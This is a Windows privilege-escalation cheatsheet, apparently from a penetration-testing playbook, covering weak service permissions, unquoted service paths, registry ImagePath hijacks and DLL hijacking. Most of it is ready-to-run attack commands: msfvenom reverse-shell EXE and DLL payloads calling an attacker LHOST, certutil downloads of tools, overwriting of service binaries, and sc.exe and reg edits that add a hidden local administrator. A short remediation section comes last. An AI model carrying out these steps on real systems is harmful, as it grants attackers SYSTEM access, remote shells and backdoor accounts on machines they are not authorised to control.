🛡️ Methodology Checklist
- Run SharpUp:
SharpUp.exe audit - Check service binary ACLs:
icacls [binary_path]— look for (M) or (F) for non-admins - Overwrite vulnerable binary with payload, restart service
- Find unquoted service paths:
wmic service get name,pathname,startmode | findstr /i "auto" | findstr /iv "c:\windows" - Plant binary in unquoted path segment that executes before real binary
- Check service registry keys:
accesschk.exe -kvuqsw HKLM\SYSTEM\CurrentControlSet\Services - DLL hijack: confirm DLL not found, plant malicious DLL in search path
🎯 Operational Context
Use when: Service binary permissions or registry keys are writable by non-admin users — modify service binary or registry to execute as SYSTEM on next restart/trigger.
Think Dumber First: accesschk.exe -uwcqv "Authenticated Users" * finds all services writable by Authenticated Users. icacls [SERVICE_BINARY] checks binary permissions. Writable service binary = replace with malicious binary = SYSTEM on restart.
Skip when: Cannot restart the service or wait for system reboot — weak permissions only execute on service start.
⚡ Tactical Cheatsheet
| Command | Tactical Outcome |
|---|---|
.\SharpUp.exe audit | Automated weak permission finder (services, registry, DLL hijacks) |
Get-ACL "C:\[PATH]" | Format-List | PowerShell ACL check on file/directory |
icacls "C:\[PATH]" | icacls ACL check — look for Everyone/Users write |
wmic service get name,displayname,pathname,startmode | findstr /i "auto" | findstr /i /v "c:\windows" | Find non-Windows auto-start services |
wmic service get name,pathname | findstr /i /v "C:\\Windows\\" | findstr /i /v """ | Unquoted service paths (no quotes, spaces in path) |
sc.exe qc [SERVICE] | Query service config — binary path, account, start type |
sc.exe config [SERVICE] binpath= "cmd.exe /c [CMD]" | Modify service binary path (note mandatory space after =) |
sc.exe stop [SERVICE] && sc.exe start [SERVICE] | Restart service to trigger modified binpath |
cmd /c copy /Y [PAYLOAD] "C:\[WRITABLE_PATH]\[SERVICE_BINARY].exe" | Overwrite service binary if directory writable |
reg query HKLM\SYSTEM\CurrentControlSet\Services\[SERVICE] /v ImagePath | Check service binary path in registry |
reg add HKLM\SYSTEM\CurrentControlSet\Services\[SERVICE] /v ImagePath /t REG_EXPAND_SZ /d "C:\evil.exe" /f | Modify service ImagePath in registry |
accesschk.exe /accepteula -wuvc [SERVICE] | Sysinternals: check who can write service config |
🔬 Deep Dive & Workflow
SharpUp Workflow
# Transfer and run
certutil -urlcache -split -f http://[LHOST]/SharpUp.exe C:\temp\SharpUp.exe
.\SharpUp.exe audit
# Key findings to act on:
# [*] Modifiable Services → sc.exe config binpath= exploit
# [*] Modifiable Service Binaries → overwrite the binary itself
# [*] Unquoted Service Paths → plant binary in unquoted path segment
# [*] DLL Hijacking Opportunities → place DLL in directory binary searches
# [*] Modifiable Registry Auto-Runs → HKCU\Software\Microsoft\Windows\CurrentVersion\RunModifiable Service Binary
# Step 1: Find vulnerable service
icacls "C:\Program Files\Vulnerable Service\vuln.exe"
# → BUILTIN\Users:(F) ← everyone has Full control
# Step 2: Create payload binary
msfvenom -p windows/x64/shell_reverse_tcp LHOST=[LHOST] LPORT=[LPORT] -f exe -o shell.exe
# Step 3: Replace service binary
cmd /c copy /Y C:\temp\shell.exe "C:\Program Files\Vulnerable Service\vuln.exe"
# Step 4: Start listener + restart service
nc -lnvp [LPORT] # attacker
sc.exe stop VulnSvc && sc.exe start VulnSvc # targetsc.exe Config Modification (Modifiable Service)
# Verify write access to service config
accesschk.exe /accepteula -wuvc [SERVICE_NAME]
# → [SERVICE_NAME] → SERVICE_ALL_ACCESS for BUILTIN\Users
# CRITICAL: There MUST be a space after binpath=
# "binpath=" with no space = ignored
# "binpath= cmd" = correct
sc.exe config [SERVICE] binpath= "cmd.exe /c net user [USER] [PASS] /add && net localgroup administrators [USER] /add"
sc.exe stop [SERVICE] && sc.exe start [SERVICE]
# → Service starts, runs cmd.exe which adds our user → service "fails" but exploit runs
# Verify
net user [USER]
net localgroup administratorsUnquoted Service Path Exploitation
# Find unquoted paths with spaces (no quotes around path with spaces)
wmic service get name,pathname | findstr /i /v "C:\\Windows\\" | findstr /i /v """"
# → VulnService C:\Program Files\Company Folder\service.exe
# Windows binary resolution for unquoted "C:\Program Files\Company Folder\service.exe":
# Tries: C:\Program.exe
# Tries: C:\Program Files\Company.exe ← plant payload here
# Tries: C:\Program Files\Company Folder\service.exe
# Check writability of each prefix location
icacls "C:\Program Files\Company.exe" 2>&1
icacls "C:\Program Files\Company" 2>&1
# → if "C:\Program Files\Company\" writable → place our binary
cmd /c copy /Y C:\temp\shell.exe "C:\Program Files\Company.exe"
sc.exe stop VulnService && sc.exe start VulnServiceRegistry Service ImagePath Hijack
# Check if HKLM service registry key is writable
accesschk.exe /accepteula -kvuqsw HKLM\SYSTEM\CurrentControlSet\Services
# → or check specific service
# Modify ImagePath
reg add "HKLM\SYSTEM\CurrentControlSet\Services\[SERVICE]" /v ImagePath /t REG_EXPAND_SZ /d "cmd.exe /c [CMD]" /f
sc.exe stop [SERVICE] && sc.exe start [SERVICE]DLL Hijacking (Service DLL Search Order)
# Windows DLL search order:
# 1. Directory of the .exe
# 2. C:\Windows\System32
# 3. C:\Windows\System
# 4. C:\Windows
# 5. Current directory
# 6. Directories in %PATH%
# Find missing DLL being loaded by service (Process Monitor / SharpUp)
# If binary dir is writable → plant malicious DLL there
# Create DLL payload
msfvenom -p windows/x64/shell_reverse_tcp LHOST=[LHOST] LPORT=[LPORT] -f dll -o missing.dll
copy missing.dll "C:\Program Files\Vulnerable App\missing.dll"
sc.exe stop [SERVICE] && sc.exe start [SERVICE]🛠️ Troubleshooting & Edge Cases
| Problem | Cause | Fix |
|---|---|---|
| Service restart blocked | Non-admin cannot restart | Check if service restarts on schedule; or wait for reboot; or find another trigger |
| accesschk.exe not on target | Tool not available | Alternative: Get-Acl (Get-WmiObject win32_service | Where-Object {$_.State -eq 'Running'}).PathName.Split(' ')[0] | Format-List |
| Service binary replaced but original still runs | Service already loaded in memory | Change is effective on next start; original binary in memory until restart |
| AlwaysInstallElevated MSI approach fails | Registry keys not both set | Both required: HKCU and HKLM AlwaysInstallElevated must be 1; check both |
| Unquoted service path exploit path not writable | No write access to exploit path | All directories in the unquoted path must be checked; sometimes only some are writable |
📝 Reporting Trigger
Finding Title: Weak Service Binary Permissions Enable SYSTEM Privilege Escalation Impact: World-writable service binary running as SYSTEM allows replacement with a malicious executable, achieving SYSTEM-level code execution on the next service start or system reboot without any authentication bypass. Root Cause: Service binary installed with permissive ACLs (BUILTIN\Users or Authenticated Users with write access). No file integrity monitoring on service binaries. Recommendation: Enforce restrictive permissions on all service binary directories (SYSTEM and Administrators only). Implement file integrity monitoring for service binaries. Run PowerUp.ps1 regularly against all systems to detect weak service permissions. Apply CIS Windows Benchmark service configurations.